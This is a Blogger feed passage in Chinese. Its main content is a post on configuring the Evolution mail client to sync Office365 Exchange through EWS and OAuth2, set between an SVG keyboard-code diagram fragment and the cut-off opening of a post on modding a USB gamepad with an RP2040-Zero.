<use xlink:href="#mra-button-50w" tabindex="0" aria-label="Caps Lock"/>
<use xlink:href="#mra-button-30w" x="50" tabindex="0" aria-label="A"/>
<use xlink:href="#mra-button-30w" x="80" tabindex="0" aria-label="S"/>
<use xlink:href="#mra-button-30w" x="110" tabindex="0" aria-label="D"/>
<use xlink:href="#mra-button-30w" x="140" tabindex="0" aria-label="F"/>
<use xlink:href="#mra-button-30w" x="170" tabindex="0" aria-label="G"/>
<use xlink:href="#mra-button-30w" x="200" tabindex="0" aria-label="H"/>
<use xlink:href="#mra-button-30w" x="230" tabindex="0" aria-label="J"/>
<use xlink:href="#mra-button-30w" x="260" tabindex="0" aria-label="K"/>
<use xlink:href="#mra-button-30w" x="290" tabindex="0" aria-label="L"/>
<use xlink:href="#mra-button-30w" x="320" tabindex="0" aria-label=";"/>
<use xlink:href="#mra-button-30w" x="350" tabindex="0" aria-label="'"/>
<use xlink:href="#mra-button-50w" x="380" tabindex="0" aria-label="Enter"/>
<use xlink:href="#mra-button-30w" x="540" tabindex="0" aria-label="Num 4"/>
<use xlink:href="#mra-button-30w" x="570" tabindex="0" aria-label="Num 5"/>
<use xlink:href="#mra-button-30w" x="600" tabindex="0" aria-label="Num 6"/>
<g transform="translate(0,27)" text-anchor="middle">
<text x="25">Caps</text>
<text x="65">A</text>
<text x="95">S</text>
<text x="125">D</text>
<text x="155">F</text>
<text x="185">G</text>
<text x="215">H</text>
<text x="245">J</text>
<text x="275">K</text>
<text x="305">L</text>
<text x="335">;</text>
<text x="365">'</text>
<text x="405">Enter</text>
<text x="555">4</text>
<text x="585">5</text>
<text x="615">6</text>
<text x="645">+</text>
</g>
<g transform="translate(0,6)">
<text x="1">0xC1</text>
<text x="51">0x8C</text>
<text x="81">0x9E</text>
<text x="111">0x8F</text>
<text x="141">0x91</text>
<text x="171">0x92</text>
<text x="201">0x93</text>
<text x="231">0x95</text>
<text x="261">0x96</text>
<text x="291">0x97</text>
<text x="321">0xBB</text>
<text x="351">0xBC</text>
<text x="381">0xB0</text>
<text x="541">0xE4</text>
<text x="571">0xE5</text>
<text x="601">0xE6</text>
</g>
</g>
<g transform="translate(0,170)">
<use xlink:href="#mra-button-65w" tabindex="0" aria-label="Left Shift"/>
<use xlink:href="#mra-button-30w" x="65" tabindex="0" aria-label="Z"/>
<use xlink:href="#mra-button-30w" x="95" tabindex="0" aria-label="X"/>
<use xlink:href="#mra-button-30w" x="125" tabindex="0" aria-label="C"/>
<use xlink:href="#mra-button-30w" x="155" tabindex="0" aria-label="V"/>
<use xlink:href="#mra-button-30w" x="185" tabindex="0" aria-label="B"/>
<use xlink:href="#mra-button-30w" x="215" tabindex="0" aria-label="N"/>
<use xlink:href="#mra-button-30w" x="245" tabindex="0" aria-label="M"/>
<use xlink:href="#mra-button-30w" x="275" tabindex="0" aria-label=","/>
<use xlink:href="#mra-button-30w" x="305" tabindex="0" aria-label="."/>
<use xlink:href="#mra-button-30w" x="335" tabindex="0" aria-label="/"/>
<use xlink:href="#mra-button-65w" x="365" tabindex="0" aria-label="Right Shift"/>
<use xlink:href="#mra-button-30w" x="470" tabindex="0" aria-label="Arrow Up"/>
<use xlink:href="#mra-button-30w" x="540" tabindex="0" aria-label="Num 1"/>
<use xlink:href="#mra-button-30w" x="570" tabindex="0" aria-label="Num 2"/>
<use xlink:href="#mra-button-30w" x="600" tabindex="0" aria-label="Num 3"/>
<use xlink:href="#mra-button-60h" x="630" tabindex="0" aria-label="Num Enter"/>
<g transform="translate(0,27)" text-anchor="middle">
<text x="32.5">L.Shift</text>
<text x="80">Z</text>
<text x="110">X</text>
<text x="140">C</text>
<text x="170">V</text>
<text x="200">B</text>
<text x="230">N</text>
<text x="260">M</text>
<text x="290">,</text>
<text x="320">.</text>
<text x="350">/</text>
<text x="397.5">R.Shift</text>
<text x="485">Up</text>
<text x="555">1</text>
<text x="585">2</text>
<text x="615">3</text>
</g>
<g transform="translate(0,6)">
<text x="1">0x81</text>
<text x="66">0xA5</text>
<text x="96">0xA3</text>
<text x="126">0x8E</text>
<text x="156">0xA1</text>
<text x="186">0x8D</text>
<text x="216">0x99</text>
<text x="246">0x98</text>
<text x="276">0xBE</text>
<text x="306">0xBF</text>
<text x="336">0xC0</text>
<text x="366">0x85</text>
<text x="471">0xDA</text>
<text x="541">0xE1</text>
<text x="571">0xE2</text>
<text x="601">0xE3</text>
<text x="631">0xE0</text>
</g>
</g>
<g transform="translate(0,200)">
<use xlink:href="#mra-button-30w" tabindex="0" aria-label="Left Control"/>
<use xlink:href="#mra-button-30w" x="30" tabindex="0" aria-label="Function"/>
<use xlink:href="#mra-button-30w" x="60" tabindex="0" aria-label="Left G U I"/>
<use xlink:href="#mra-button-30w" x="90" tabindex="0" aria-label="Left Alt"/>
<use xlink:href="#mra-button-190w" x="120" tabindex="0" aria-label="Space"/>
<use xlink:href="#mra-button-30w" x="310" tabindex="0" aria-label="Right Alt"/>
<use xlink:href="#mra-button-30w" x="340" tabindex="0" aria-label="Right G U I"/>
<use xlink:href="#mra-button-30w" x="370" tabindex="0" aria-label="Menu"/>
<use xlink:href="#mra-button-30w" x="400" tabindex="0" aria-label="Right Control"/>
<use xlink:href="#mra-button-30w" x="440" tabindex="0" aria-label="Arrow Left"/>
<use xlink:href="#mra-button-30w" x="470" tabindex="0" aria-label="Arrow Down"/>
<use xlink:href="#mra-button-30w" x="500" tabindex="0" aria-label="Arrow Right"/>
<use xlink:href="#mra-button-60w" x="540" tabindex="0" aria-label="Num 0"/>
<use xlink:href="#mra-button-30w" x="600" tabindex="0" aria-label="Num ."/>
<g transform="translate(0,27)" text-anchor="middle">
<text x="15">L.Ctrl</text>
<text x="45">Fn</text>
<text x="75">L.GUI</text>
<text x="105">L.Alt</text>
<text x="215">Space</text>
<text x="325">R.Alt</text>
<text x="355">R.GUI</text>
<text x="385">Menu</text>
<text x="415">R.Ctrl</text>
<text x="455">Left</text>
<text x="485">Down</text>
<text x="515">Right</text>
<text x="570">0</text>
<text x="615">.</text>
<text x="645">Enter</text>
</g>
<g transform="translate(0,6)">
<text x="1">0x80</text>
<text x="31"></text>
<text x="61">0x83</text>
<text x="91">0x82</text>
<text x="121">0x20</text>
<text x="311">0x86</text>
<text x="341">0x87</text>
<text x="371">0xED</text>
<text x="401">0x84</text>
<text x="441">0xD8</text>
<text x="471">0xD9</text>
<text x="501">0xD7</text>
<text x="541">0xEA</text>
<text x="601">0xEB</text>
</g>
</g>
<g transform="translate(0,0)">
<use xlink:href="#mra-button-30w" x="50" tabindex="0" aria-label="F 13"/>
<use xlink:href="#mra-button-30w" x="80" tabindex="0" aria-label="F 14"/>
<use xlink:href="#mra-button-30w" x="110" tabindex="0" aria-label="F 15"/>
<use xlink:href="#mra-button-30w" x="140" tabindex="0" aria-label="F 16"/>
<use xlink:href="#mra-button-30w" x="180" tabindex="0" aria-label="F 17"/>
<use xlink:href="#mra-button-30w" x="210" tabindex="0" aria-label="F 18"/>
<use xlink:href="#mra-button-30w" x="240" tabindex="0" aria-label="F 19"/>
<use xlink:href="#mra-button-30w" x="270" tabindex="0" aria-label="F 20"/>
<use xlink:href="#mra-button-30w" x="310" tabindex="0" aria-label="F 21"/>
<use xlink:href="#mra-button-30w" x="340" tabindex="0" aria-label="F 22"/>
<use xlink:href="#mra-button-30w" x="370" tabindex="0" aria-label="F 23"/>
<use xlink:href="#mra-button-30w" x="400" tabindex="0" aria-label="F 24"/>
<use xlink:href="#mra-button-30w" x="630" tabindex="0" aria-label="Power"/>
<g transform="translate(0,27)" text-anchor="middle">
<text x="65">F13</text>
<text x="95">F14</text>
<text x="125">F15</text>
<text x="155">F16</text>
<text x="195">F17</text>
<text x="225">F18</text>
<text x="255">F19</text>
<text x="285">F20</text>
<text x="325">F21</text>
<text x="355">F22</text>
<text x="385">F23</text>
<text x="415">F24</text>
<text x="645">Power</text>
</g>
<g transform="translate(0,6)">
<text x="51">0xF0</text>
<text x="81">0xF1</text>
<text x="111">0xF2</text>
<text x="141">0xF3</text>
<text x="181">0xF4</text>
<text x="211">0xF5</text>
<text x="241">0xF6</text>
<text x="271">0xF7</text>
<text x="311">0xF8</text>
<text x="341">0xF9</text>
<text x="371">0xFA</text>
<text x="401">0xFB</text>
<text x="631">0xEE</text>
</g>
</g>
</g>
</svg>
-->HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-56554126995639112802024-02-29T16:18:00.000+08:002024-02-29T16:18:58.056+08:00利用 Evolution 同步 Microsoft Exchange Server 的資料 (2024)<p>由於工作關係,經常需要使用 Linux 開發,但又要使用 Outlook Web Access 收發郵件<br/>
OWA 雖然都足夠使用,但偶然 OWA 沒有通知有新郵件,導致錯過回覆郵件<br/>
因此還是要使用郵件客戶端的軟件比較方便</p>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#設定">設定</a></li>
<li><a href="#補充資料">補充資料</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<p>其實這篇文章與 2016年 的 <a href="https://hkgoldenmra.blogspot.com/2016/01/evolution-microsoft-exchange-server.html">利用 Evolution 同步 Microsoft Exchange Server 的資料</a> 內容非常相似<br/>
只是同樣的方法已經失效,因此在測試新的方法,同樣使用 Evolution 來同步 Exchange 的資料</p>
<a name="設定"></a><h4 class="mra-h4">設定</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimOW1yEMXdo3C2ve3vpW_wKHviNrWTRlynJ2GZhFyzmXc-F4duvnDxcy4F2d91K1p7mIu9rinGdn-KMbT7NfrguVVBdy8NZLNbSlv7Tkn7cIJXHL5sxNCnKizLyJQvISyNAZWvucEG-qwYpWxDOJeQa-RNlGxO2k6e1mEBopQsgw9iil_Cc6jKO55E0Tc/w0/evolution-exchange-server-2024-001.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimOW1yEMXdo3C2ve3vpW_wKHviNrWTRlynJ2GZhFyzmXc-F4duvnDxcy4F2d91K1p7mIu9rinGdn-KMbT7NfrguVVBdy8NZLNbSlv7Tkn7cIJXHL5sxNCnKizLyJQvISyNAZWvucEG-qwYpWxDOJeQa-RNlGxO2k6e1mEBopQsgw9iil_Cc6jKO55E0Tc/w600/evolution-exchange-server-2024-001.png"/></a></div>
<p>第一次開啟 Evolution ,由於沒有帳戶資料,會自動顯示帳戶設定頁面<br/>
按 Next</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbgX2ShKK4X-R0oLFSw2Ho2CpkAT4iiLwfnLVayWEmjQuhNk_MuuBJxlVI_3bbOkw8m7SNNd-ZDED6TozFOFLwUPuHTYhx4pWy4xQ4SrrcOGkCIovdwV0ybABk6X1pL7_K6c7LU20ZsPnWT9U_v_CLzStdOOWC1FYZyELNKzjdmx0e1O-GaQYUheYpdQY/w0/evolution-exchange-server-2024-002.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbgX2ShKK4X-R0oLFSw2Ho2CpkAT4iiLwfnLVayWEmjQuhNk_MuuBJxlVI_3bbOkw8m7SNNd-ZDED6TozFOFLwUPuHTYhx4pWy4xQ4SrrcOGkCIovdwV0ybABk6X1pL7_K6c7LU20ZsPnWT9U_v_CLzStdOOWC1FYZyELNKzjdmx0e1O-GaQYUheYpdQY/w600/evolution-exchange-server-2024-002.png"/></a></div>
<p><span class="mra-highlighter">Identity</span> 頁面<br/>
在 <span class="mra-highlighter">Full Name</span> 輸入郵件名稱<br/>
在 <span class="mra-highlighter">Email Address</span> 輸入電郵地址<br/>
按 Next</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6SalM-5fgADgQcs7FIYzI_nwK8EVz7rTW4zDhK9fnze1PCeM5wV5IGWrlQTCSrGaxISfRnudqU5kD_AnWdUlGA-dD70khW0v_4DmIKKT0l5wxnyRuiGIeFnRCwuAUbjwewr88fgdanO8RbXFLGP26SU3SRGBqXMFMY0Qwz8J5mMogpLVOrUEH5UYn-58/w0/evolution-exchange-server-2024-003.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6SalM-5fgADgQcs7FIYzI_nwK8EVz7rTW4zDhK9fnze1PCeM5wV5IGWrlQTCSrGaxISfRnudqU5kD_AnWdUlGA-dD70khW0v_4DmIKKT0l5wxnyRuiGIeFnRCwuAUbjwewr88fgdanO8RbXFLGP26SU3SRGBqXMFMY0Qwz8J5mMogpLVOrUEH5UYn-58/w600/evolution-exchange-server-2024-003.png"/></a></div>
<p><span class="mra-highlighter">Receiving Email</span> 頁面<br/>
在 <span class="mra-highlighter">Username</span> 同樣輸入的電郵地址<br/>
<span class="mra-highlighter">Host URL</span> 不要使用閣下的伺服器,修改為 <span class="mra-highlighter">https://outlook.office365.com/EWS/Exchange.asmx</span> ,但 <span class="mra-highlighter">不需要執行 Fetch URL</span><br/>
<span class="mra-highlighter">將 OAB URL 留空</span><br/>
在 <span class="mra-highlighter">Authentication</span> 選擇 <span class="mra-highlighter">OAuth2 (Office365)</span> ,但 <span class="mra-highlighter">不需要選取 Override Office365 OAuth2 settings</span><br/>
按 Next</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN_Q1u5-6XHjZq4kPiXdXEqj28Z987n5Zgrn1Cf1I2EIZtkWm4d5j676GCCCCAYnwadC0cI-w0MBnx_IM6tL8J7-tKL42cyKX1kimL3IEvv_3hQGJEIoqCutN2KKvweI9qvn3ncEalCXlkpHh_7ez9l9C03-6M1UNHI0SsHpsplUpbpo92Vt4DhbPGvxw/w0/evolution-exchange-server-2024-004.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN_Q1u5-6XHjZq4kPiXdXEqj28Z987n5Zgrn1Cf1I2EIZtkWm4d5j676GCCCCAYnwadC0cI-w0MBnx_IM6tL8J7-tKL42cyKX1kimL3IEvv_3hQGJEIoqCutN2KKvweI9qvn3ncEalCXlkpHh_7ez9l9C03-6M1UNHI0SsHpsplUpbpo92Vt4DhbPGvxw/w600/evolution-exchange-server-2024-004.png"/></a></div>
<p><span class="mra-highlighter">Receiving Options</span> 頁面的設定可以保留預設,亦可以因應需要修改設定值<br/>
按 Next</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjoaFRDZ8aRNKVbBsj40CgFK3cGoBTvPpEVfoSHNrYg-rkqa28rD3hnSP33nW7cwJiS7DUSrsDDa5nRq0oW6Op6JjVv9RwIsEkmFujwpfO3kWsV1PP4sXun46_tDCIX0D0Vlx0FgD064PTIogsACwXxgrPbEHOXkBEBCovQy_RnjZxsfllaytgQY9NUko/w0/evolution-exchange-server-2024-005.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjoaFRDZ8aRNKVbBsj40CgFK3cGoBTvPpEVfoSHNrYg-rkqa28rD3hnSP33nW7cwJiS7DUSrsDDa5nRq0oW6Op6JjVv9RwIsEkmFujwpfO3kWsV1PP4sXun46_tDCIX0D0Vlx0FgD064PTIogsACwXxgrPbEHOXkBEBCovQy_RnjZxsfllaytgQY9NUko/w600/evolution-exchange-server-2024-005.png"/></a></div>
<p><span class="mra-highlighter">Account Summary</span> 頁面<br/>
在 <span class="mra-highlighter">Name</span> 同樣輸入的電郵地址<br/>
按 Next</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbCbQ46ZDPXcWZhGHKsTVwXyDu-jLypXR76i6K6smP55iDC3QolSjCAjf6scTy9tUt5rFbCjm7B0eND6lZlw-JXJiKWufnUagLDLF0VVZ9cXgnv5gYnMxy3bZeC_lOTVGugHQhDNBDJGQ3R2Bxx4gsnxS9_I9EqYiq7untLK7hUmP6LJoBR3pV64NVPtM/w0/evolution-exchange-server-2024-006.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbCbQ46ZDPXcWZhGHKsTVwXyDu-jLypXR76i6K6smP55iDC3QolSjCAjf6scTy9tUt5rFbCjm7B0eND6lZlw-JXJiKWufnUagLDLF0VVZ9cXgnv5gYnMxy3bZeC_lOTVGugHQhDNBDJGQ3R2Bxx4gsnxS9_I9EqYiq7untLK7hUmP6LJoBR3pV64NVPtM/w600/evolution-exchange-server-2024-006.png"/></a></div>
<p>完成設定後,按 Apply</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXMk7eGIE6ln3K7n_cY4lpk9V9pcG_eIZO3ZuztM5jE29g3jDXkuNR3Ypphtwln2ugF6MX4f7COBAsGFx6TuKcUxrGRERxLX4vk65empMd8KUsv02KUSw9QD2irVEuOcwlEtrvcSHuosbh9-RsJZHGAw1Ymqh8r7uni4VvwO7nlp1gGXo6XtYC1dtfkfM/w0/evolution-exchange-server-2024-007.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXMk7eGIE6ln3K7n_cY4lpk9V9pcG_eIZO3ZuztM5jE29g3jDXkuNR3Ypphtwln2ugF6MX4f7COBAsGFx6TuKcUxrGRERxLX4vk65empMd8KUsv02KUSw9QD2irVEuOcwlEtrvcSHuosbh9-RsJZHGAw1Ymqh8r7uni4VvwO7nlp1gGXo6XtYC1dtfkfM/w600/evolution-exchange-server-2024-007.png"/></a></div>
<p>由於使用 OAuth2 認證, Office365 要求 <span class="mra-highlighter">輸入電郵的密碼</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC_hVbxNq4fZej4WDNSalSygP3P3d_7HNgKXrwBJV5plIDbtAWurfK15jpUsLXG0qD7QOUEACUtfCIjYxeODD81uZp5m07G9j0wgpnsH7XWcdPBrcie7xoItybzIfX_fvjvHJGa1H99AHdzjMELP3UcIdYqgkwauajGRLC2rOnVbC-44wuEDOFuFLqacQ/w0/evolution-exchange-server-2024-008.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC_hVbxNq4fZej4WDNSalSygP3P3d_7HNgKXrwBJV5plIDbtAWurfK15jpUsLXG0qD7QOUEACUtfCIjYxeODD81uZp5m07G9j0wgpnsH7XWcdPBrcie7xoItybzIfX_fvjvHJGa1H99AHdzjMELP3UcIdYqgkwauajGRLC2rOnVbC-44wuEDOFuFLqacQ/w600/evolution-exchange-server-2024-008.png"/></a></div>
<p>還需要 <span class="mra-highlighter">接受權限</span> 才能讓 Evolution 存取 Office365</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXRqJk2q8ipZ6bhElB01JmqSOMTbMSKX6IEYT3UGTpfx7jcmFEkwqk8DCEx5N5hTcQeXwbqekTAGMkdyrkZspWYTS1LHpfzND5gntC25me_ucWH5nWZxwQoBv8u45JGB5Cmp1pILzDqQCy6xVnrRnPBTCx_wKXxFl8cn3z-iRvuPvVcwoEF13bhly7vNw/w0/evolution-exchange-server-2024-009.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXRqJk2q8ipZ6bhElB01JmqSOMTbMSKX6IEYT3UGTpfx7jcmFEkwqk8DCEx5N5hTcQeXwbqekTAGMkdyrkZspWYTS1LHpfzND5gntC25me_ucWH5nWZxwQoBv8u45JGB5Cmp1pILzDqQCy6xVnrRnPBTCx_wKXxFl8cn3z-iRvuPvVcwoEF13bhly7vNw/w600/evolution-exchange-server-2024-009.png"/></a></div>
<p>完成認證後, Evolution 便開始接收 Exchange 的資料</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV-priAr_eHWW65SSh-NP1RgsXFqELQBqiCdFG-ApligqdD_0UvTi_drNpNhy730losIXQvCkEfGv9TMjbQAQvqVfelnSDp5Y5MY2tm4CLdvn2c1x7UNBptW2saqi3pcC1Uuu1rF1b_jygWc4H6xpTxdrMB83Ynj-pAFYNZ9Km8LBtnpMqHQK7o-JeF4I/w0/evolution-exchange-server-2024-010.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV-priAr_eHWW65SSh-NP1RgsXFqELQBqiCdFG-ApligqdD_0UvTi_drNpNhy730losIXQvCkEfGv9TMjbQAQvqVfelnSDp5Y5MY2tm4CLdvn2c1x7UNBptW2saqi3pcC1Uuu1rF1b_jygWc4H6xpTxdrMB83Ynj-pAFYNZ9Km8LBtnpMqHQK7o-JeF4I/w600/evolution-exchange-server-2024-010.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8E_hV4F02GSZdDz3cY1hJmkz9DyGFlUg9jkiVHXIKMNgfDiPH5wAvEYy4V9N_dqtlR_3yivJ4SM5bhGuMKXx8OyVxkOU9d36dd-dJEf8JQMD-04I6E1yvcOMFqbfuts5EnZYWNlNQaa9cKSbtSk3YrUDjF9YarINWFVSU-7hDhNIXc4jKFajJy-yUZPo/w0/evolution-exchange-server-2024-011.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8E_hV4F02GSZdDz3cY1hJmkz9DyGFlUg9jkiVHXIKMNgfDiPH5wAvEYy4V9N_dqtlR_3yivJ4SM5bhGuMKXx8OyVxkOU9d36dd-dJEf8JQMD-04I6E1yvcOMFqbfuts5EnZYWNlNQaa9cKSbtSk3YrUDjF9YarINWFVSU-7hDhNIXc4jKFajJy-yUZPo/w600/evolution-exchange-server-2024-011.png"/></a></div>
<p>在下亦測試使用 Evolution 從 Exchange 發出郵件,結果成功</p>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<p>如果啟用 Override Office365 OAuth2 settings<br/>
在 Application ID 輸入特定的 ID 可以讓 Evolution 應用到 Microsoft 365 的某些功能</p>
<div>
<ul>
<li><span class="mra-highlighter">20460e5d-ce91-49af-a3a5-70b6be7486d1</span> 啟用 EWS 及 Microsoft Graph API (需要 3.38.x 或更高版本)</li>
<li><span class="mra-highlighter">751cf8be-ca07-484b-9308-fac4b9d85eff</span> 啟用 EWS協定</li>
<li><span class="mra-highlighter">d3590ed6-52b3-4102-aeff-aad2292ab01c</span> 啟用 Microsoft Office (已經安裝才有效)</li>
</ul>
</div>
<p>不過,即使不啟用 Override Office365 OAuth2 settings 仍然能夠使用類似 Outlook 的功能</p>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<p>由於 Microsoft 修改了經由第三方軟件存取 Exchange Server 的方法,因此過去的方法已經失效<br/>
在下還測試 Thunderbird ,但 Thunderbird 預設無法使用 Exchange協定 同步資料<br/>
雖然能夠使用 IMAP 或 POP3 接收郵件 及 使用 SMTP 發送郵件,但 Thunderbird 只能接收收件匣的郵件<br/>
如果被郵件規則導向至另一個資料夾, Thunderbird 則無法接收這些並非收件匣的郵件<br/>
雖然 Thunderbird 可以額外安裝 Owl外掛程式 來同步 Exchange 的資料,但 Owl外掛程式 則需要付費(首1個月免費,年費訂閱制)<br/>
根據以上情況,因此在下還是使用 Evolution 同步 Exchange 的資料</p>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://wiki.gnome.org/Apps/Evolution/EWS/OAuth2">Evolution-EWS and OAuth2 for Microsoft 365 @ GNOME.org</a></li>
<li><a href="https://learn.microsoft.com/en-us/office/dev/add-ins/develop/register-sso-add-in-aad-v2">Register an Office Add-in that uses single sign-on (SSO) with the Microsoft identity platform @ Microsoft.com</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-25106734147750004822024-02-29T10:13:00.326+08:002024-03-09T22:20:19.734+08:00使用 RP2040-Zero 改裝遊戲控制器<p>某日在下在 新高登電腦廣場 遊逛時發現一個模仿 PS遊戲控制器 設計的 USB遊戲控制器<br/>
忽發奇想,想將 USB遊戲控制器 改裝成可以能夠自行修改功能的遊戲控制器<br/>
因此購買嘗試改裝</p>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#USB遊戲控制器">USB遊戲控制器</a>
<ul>
<li><a href="#USB遊戲控制器外觀">外觀</a></li>
<li><a href="#USB遊戲控制器內部">內部</a>
<ul>
<li><a href="#USB遊戲控制器內部USB連接">USB連接</a></li>
<li><a href="#USB遊戲控制器內部晶片">晶片</a></li>
<li><a href="#USB遊戲控制器內部按鈕">按鈕</a></li>
<li><a href="#USB遊戲控制器內部類比按壓">類比按壓</a></li>
<li><a href="#USB遊戲控制器內部類比轉軸">類比轉軸</a></li>
<li><a href="#USB遊戲控制器內部分析">分析</a></li>
</ul>
</li>
<li><a href="#USB遊戲控制器焊接點連接">焊接點連接</a></li>
</ul>
</li>
<li><a href="#USB連接到RP2040">USB 連接到 RP2040</a></li>
<li><a href="#線路設計">線路設計</a></li>
<li><a href="#編寫CircuitPython">編寫 CircuitPython</a>
<ul>
<li><a href="#編寫CircuitPython載入HID函式庫">載入 HID 函式庫</a>
<li><a href="#編寫CircuitPython遊戲控制器函式庫">遊戲控制器 函式庫</a>
<ul>
<li><a href="#編寫CircuitPython遊戲控制器函式庫報告描述器">報告描述器</a></li>
<li><a href="#編寫CircuitPython遊戲控制器函式庫遊戲控制器類別">遊戲控制器類別</a></li>
<li><a href="#編寫CircuitPython遊戲控制器函式庫編寫程式">編寫程式</a></li>
<li><a href="#編寫CircuitPython遊戲控制器函式庫基本測試">基本測試</a></li>
<li><a href="#編寫CircuitPython遊戲控制器函式庫高速連按">高速連按</a></li>
<li><a href="#編寫CircuitPython遊戲控制器函式庫組合招式">組合招式</a></li>
<li><a href="#編寫CircuitPython遊戲控制器函式庫節奏連按">節奏連按</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#補充資料">補充資料</a>
<ul>
<li><a href="#補充資料使用指令載入到起動模式">使用指令載入到起動模式</a></li>
<li><a href="#補充資料RP2040的ADC參考">RP2040 的 ADC參考</a></li>
<li><a href="#補充資料修改CIRCUITPY的名稱">修改 CIRCUITPY 的名稱</a></li>
<li><a href="#補充資料亮著LED">亮著LED</a></li>
<li><a href="#補充資料使用ArduinoIDE">使用 Arduino IDE</a></li>
<li><a href="#補充資料裝置名稱及支援">裝置名稱及支援</a></li>
</ul>
</li>
<li><a href="#總結">總結</a>
<ul>
<li><a href="#總結懶惰的代價">懶惰的代價</a></li>
<li><a href="#總結改裝計劃">改裝計劃</a></li>
</ul>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="USB遊戲控制器"></a><h4 class="mra-h4">USB遊戲控制器</h4>
<a name="USB遊戲控制器外觀"></a><h5 class="mra-h5">外觀</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHdUOBsvHf0zYOGepsf5giXrb8jNeUY-mCJ8Vv_tU7YJJhnUPZQuG0oFFzXETc5MifMJ-jT2WJ-5QinaDZCBrzhnJo6jjPk6zvgkvw0NVznydUTyERr4V05v-QyGiotNuqo5MjXBKQALQOSDFPkLnm1j1w0bWAp-qIDhgPeh010utTNyzmfkXmVuppkJg/w0/gamepad-mod-rp2040-001.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHdUOBsvHf0zYOGepsf5giXrb8jNeUY-mCJ8Vv_tU7YJJhnUPZQuG0oFFzXETc5MifMJ-jT2WJ-5QinaDZCBrzhnJo6jjPk6zvgkvw0NVznydUTyERr4V05v-QyGiotNuqo5MjXBKQALQOSDFPkLnm1j1w0bWAp-qIDhgPeh010utTNyzmfkXmVuppkJg/w600/gamepad-mod-rp2040-001.jpg"/></a></div>
<p>這個遊戲控制器與 PS遊戲控制器 的外觀及部局基本上相同,使用 <span class="mra-highlighter">12個按鈕 及 6個類比轉軸</span> 設計</p>
<a name="USB遊戲控制器內部"></a><h5 class="mra-h5">內部</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqVma5lxvo3vSIEQHVvv30s5cymXulwGQmwbk8ppeF9EQNuyrqbflpd6oYAe4Z51dt0M3yiRaqUSgcUVmMEGI-JL8N3Q6AusF4eiWHRqLpSK7PJ0Bd_LC3OGy7OkWZKd5fAPIDMFLyM8tsYPXT0l0I2r3ZTN379xEyENfkgj08YUfFABtclMVWRmGfCzU/w0/gamepad-mod-rp2040-002.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqVma5lxvo3vSIEQHVvv30s5cymXulwGQmwbk8ppeF9EQNuyrqbflpd6oYAe4Z51dt0M3yiRaqUSgcUVmMEGI-JL8N3Q6AusF4eiWHRqLpSK7PJ0Bd_LC3OGy7OkWZKd5fAPIDMFLyM8tsYPXT0l0I2r3ZTN379xEyENfkgj08YUfFABtclMVWRmGfCzU/w600/gamepad-mod-rp2040-002.jpg"/></a></div>
<p>拆開外殼,內部有一塊主電路板,再配搭3塊小型電路板,同樣與 PS遊戲控制器 相同</p>
<a name="USB遊戲控制器內部USB連接"></a><h6 class="mra-h6">USB連接</h6>
